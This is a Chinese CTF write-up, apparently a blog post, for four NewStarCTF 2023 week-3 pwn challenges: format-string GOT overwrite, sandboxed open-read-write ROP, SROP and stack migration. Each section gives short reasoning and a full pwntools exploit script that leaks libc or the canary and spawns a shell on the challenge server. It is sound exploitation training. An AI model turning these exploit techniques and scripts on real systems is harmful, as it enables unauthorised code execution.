NewStarCTF 2023 WEEK3|PWN

1.puts or system?

2.orw&rop

3.srop

4.stack migration revenge


1.puts or system?

根据名字提示把puts改为system,开了canary,但它没有用

存在格式化字符串漏洞,且有n次

思路:relro保护没开,可修改got表,且给了libc库,通过格式化第一次泄露got,获得system函数,第二次修改puts的got表为system即可get shell

EXP:

from pwn import *
from LibcSearcher import *
from ctypes import *
sh=remote("node4.buuoj.cn",27323)
elf=ELF("./putsorsys")
libc=ELF("libc.so.6")

context.arch="amd64"

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]

libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")


puts_got=elf.got['puts']

def fun(data):
    un("(0/1)\n")
    sl("1")
    un("it\n")
    sd(data)
    un("gift:\n")


fun("%9$saaaa"+p64(puts_got))
puts=u64(sh.recv(6)+"\x00"*2)
jz=puts-libc.sym['puts']
system=jz+libc.sym['system']

a=(system&0xffff0000)/0x10000
b=system&0xffff
if a>b:
    fun("%"+str(b)+"c%12$hn"+"%"+str(a-b)+"c%13$hnaaaaaa"+p64(puts_got)+p64(puts_got+2))

else:
    fun("%"+str(a)+"c%12$hn"+"%"+str(b-a)+"c%13$hnaaaaaa"+p64(puts_got+2)+p64(puts_got))


inter()

2.orw&rop

通过题目提示使用open read write来构造rop拿shell

看了堆栈不可执行和canary

拖入ida分析,开了沙盒,execve函数不可用

有格式化字符串漏洞和大量栈溢出

通过格式化字符串漏洞来泄露canary和libc基址(给了libc库),泄漏出基址后通过ROPgadget来找pop rdi ,pop rsi  pop rdx的偏移量,通过它们来构造输入,向0x66660000写入shellcode,最后ret到0x66660000即可输出flag

EXP:

from pwn import *
from LibcSearcher import *
from pwnlib import *

sh=remote("node4.buuoj.cn",27410)
#sh=process("./ezorw")
elf=ELF("./ezorw")
libc=ELF("libc.so.6")

 

context.arch="amd64"

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]

libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

puts_got=elf.got['puts']
read=elf.plt['read']

un("sandbox\n")
sd("%11$p%8$saaaaaaa"+p64(puts_got))
canary=int(sh.recv(18),16)
print hex(canary)

jz=u64(sh.recv(6)+"\x00"*2)-libc.sym['puts']
print hex(jz)

pop_rdi=jz+0x000000000002a3e5
pop_rsi=jz+0x000000000002be51
pop_rdbx=jz+0x0000000000090529

shell=shellcraft.open("flag",0,0)
shell+=shellcraft.read(3,0x66660000+0x500,0x30)
shell+=shellcraft.write(1,0x66660000+0x500,0x30)
ret=0x4013B2
start=0x4012E4

sd("a"*0x28+p64(canary)*2+p64(ret)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0x66660000)+p64(pop_rdbx)+p64(0x100)*2+p64(read)+p64(0x66660000))

sd(asm(shell))

inter()

3.srop

根据题目提示要使用srop,存在大量的栈溢出,地址没随机化,有syscall函数

没开canary,通过SigreturnFrame()函数来构造srop,在栈溢出中里返回地址距离为0x38字节

在init函数中找到pop_rdi指令,sigreturn调用号为0xf

把0x40118c作为构造的rip值,有leave(mov rsp,rbp,pop rbp),在sigreturn后可以实现栈迁移,我们把srop构造成syscall(0,0,0x404020,0x200),也就是向data段写入0x200字节数据,在输入完成后通过栈迁移到data段,所以在第一次溢出后(也就是第一次srop)向data输入/bin/sh字符串和再次构造的srop

syscall(59,"/bin/sh",0,0)即可get shell

EXP:

from pwn import *
from LibcSearcher import *
from pwnlib import 
sh=remote("node4.buuoj.cn",26779)
#sh=process("./pwn_1")
elf=ELF("./pwn_1")
libc=ELF("libc.so.6")

context.arch="amd64"

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]


syscall=0x401040
buf=0x404020
sys=0x401136
pop_rdi=0x401203
syscall_leave=0x40118C

frame=SigreturnFrame()

frame.rdi=0
frame.rsi=0
frame.rdx=buf
frame.rcx=0x200
frame.rsp=buf-0x10
frame.rbp=buf
frame.rip=syscall_leave

sh.recv()
sd("a"*0x38+p64(pop_rdi)+p64(0xf)+p64(syscall)+str(frame))


frame=SigreturnFrame()
frame.rdi=59
frame.rsi=buf
frame.rdx=0
frame.rcx=0
frame.rsp=buf
frame.rip=syscall
sd("/bin/sh\x00"+p64(pop_rdi)+p64(0xf)+p64(syscall)+str(frame))


inter()

注意:

1.在溢出srop时不能使用call syscall,因为它要push返回地址

2.使用open,read,write当然也可以,因为它没有开沙盒,但是要复杂一点

EXP:

from pwn import *
from LibcSearcher import *
sh=remote("node4.buuoj.cn",26779)
elf=ELF("./pwn_1")

context.arch="amd64"

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]


syscall=0x401040
buf=0x404020
sys=0x401136
pop_rdi=0x401203


frame=SigreturnFrame()

frame.rdi=0
frame.rsi=0
frame.rdx=buf
frame.rcx=0x600
frame.rsp=buf
frame.rip=syscall

sh.recv()
sd("a"*0x38+p64(pop_rdi)+p64(0xf)+p64(syscall)+str(frame))


flag=buf+0x500
frame_open=SigreturnFrame()
frame_open.rdi=2
frame_open.rsi=flag
frame_open.rdx=0
frame_open.rcx=0
frame_open.rsp=buf+0x150
frame_open.rip=syscall
paly=p64(pop_rdi)+p64(0xf)+p64(syscall)+str(frame_open)
paly=paly.ljust(0x150,"\x00")

frame_read=SigreturnFrame()
frame_read.rdi=0
frame_read.rsi=3
frame_read.rdx=buf+0x600
frame_read.rcx=0x30
frame_read.rsp=buf+0x300
frame_read.rip=syscall


paly+=p64(pop_rdi)+p64(0xf)+p64(syscall)+str(frame_read)
paly=paly.ljust(0x300,"\x00")


frame_write=SigreturnFrame()
frame_write.rdi=1
frame_write.rsi=1
frame_write.rdx=buf+0x600
frame_write.rcx=0x30
frame_write.rsp=buf+0x450
frame_write.rip=syscall

paly+=p64(pop_rdi)+p64(0xf)+p64(syscall)+str(frame_write)
paly=paly.ljust(0x500,"\x00")
paly+="flag\x00"

sd(paly)

inter()

4.stack migration revenge

没开canary,拖入ida分析

结构很简单,看出能控制rbp和rip来栈迁移,但没有给栈地址,这时就要动脑了

还好没开pie,地址没随机化,可以使用bss来栈迁移,通过题目名字的提示(卷土重来)联想到

第一次修改rbp到bss段中,然后返回到0x4011ff即可向bss中写入

注意的是lea rax,[rbp+buf],buf为-0x50,会在低0x50地址开始写入,所以我们把rbp改为bss+0x50

此时就是向bss写入,在bss+0x50这个位置写入bss-8(有个pop rbp)和返回地址写入leave_ret,最后就能把rsp迁移到bss段,在bss段写入rop来泄露libc基址(给了libc库)和通过pop_rbp_ret来继续控制rbp(通过ROPgadget来查找),这次bss段地址要高,因为system入栈的参数很多,如果不提高栈地址很有可能覆盖到got表或其他重要的数据导致程序直接报错

最后和前面一样,把最后16字节rbp和返回地址修改为第二次bss-8和leave_ret即可get shell

EXP:

from pwn import *
from LibcSearcher import *
from pwnlib import *
from ctypes import *
sh=remote("node4.buuoj.cn",25179)
#sh=process("./stack")
elf=ELF("./stack")
libc=ELF("libc.so.6")

context.arch="amd64"

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]

libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")


pop_rdi=0x4012B3
ret=0x40124B
puts=elf.plt['puts']
puts_got=elf.got['puts']
leave=0x401227 #4011FF
bss=0x404100
un("me:")
pop_rbp=0x000000000040115d


sd("a"*0x50+p64(bss+0x50)+p64(0x4011ff))

un("funny\n")
shell=p64(pop_rdi)+p64(puts_got)+p64(puts)
shell+=p64(pop_rbp)+p64(bss+0x800)+p64(0x4011ff)
shell=shell.ljust(0x50,"\x00")
shell+=p64(bss-8)+p64(leave)

sd(shell)
un("funny\n")

jz=u64(sh.recv(6)+"\x00"*2)-libc.sym['puts']
print hex(jz)
system=jz+libc.sym['system']
bin_sh=jz+libc.search("/bin/sh").next()

shell=p64(pop_rdi)+p64(bin_sh)+p64(system)
shell=shell.ljust(0x50,"\x00")
shell+=p64(bss+0x800-0x58)+p64(leave)

sd(shell)


inter()

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值